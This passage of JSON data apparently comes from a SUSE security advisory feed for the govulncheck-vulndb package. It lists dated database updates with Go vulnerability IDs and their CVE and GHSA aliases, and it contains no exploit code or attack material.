GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:30:23Z","modified":"2026-09-09T18:23:14.573173825Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23625-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 